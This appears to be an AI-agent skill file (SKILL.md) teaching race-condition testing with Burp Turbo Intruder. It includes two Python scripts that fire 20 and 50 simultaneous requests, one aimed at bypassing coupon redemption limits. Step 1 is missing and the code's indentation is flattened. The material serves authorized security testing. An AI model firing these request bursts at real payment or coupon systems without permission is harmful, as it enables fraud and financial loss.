This source did not publish a separate summary. Review SKILL.md before using the skill.
SKILL.md
Exploiting Race Condition Vulnerabilities
When to Use
When testing applications with transaction-based functionality (payments, transfers, coupons)
During assessment of rate-limiting or attempt-limiting mechanisms
When testing multi-step workflows (registration, password reset, MFA)
During bug bounty hunting for logic flaws in state-changing operations
When evaluating applications with inventory or balance management systems
Prerequisites
Burp Suite Professional with Turbo Intruder extension installed
Understanding of HTTP/2 single-packet attack technique
Python scripting ability for custom Turbo Intruder scripts
Knowledge of TOCTOU (Time-of-Check-to-Time-of-Use) vulnerabilities
Target application with state-changing operations (purchases, votes, transfers)
Multiple user accounts for testing cross-user race conditions
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Step 2 — Configure Single-Packet Attack in Turbo Intruder
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Queue 20 identical requests for the same operation
for i in range(20):
engine.queue(target.req, gate='race1')
# Hold all requests until ready
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Step 3 — Execute Limit Overrun Attack
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
# Send 50 coupon redemption requests simultaneously
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# Flag successful redemptions (200 OK)
if req.status == 200:
table.add(req)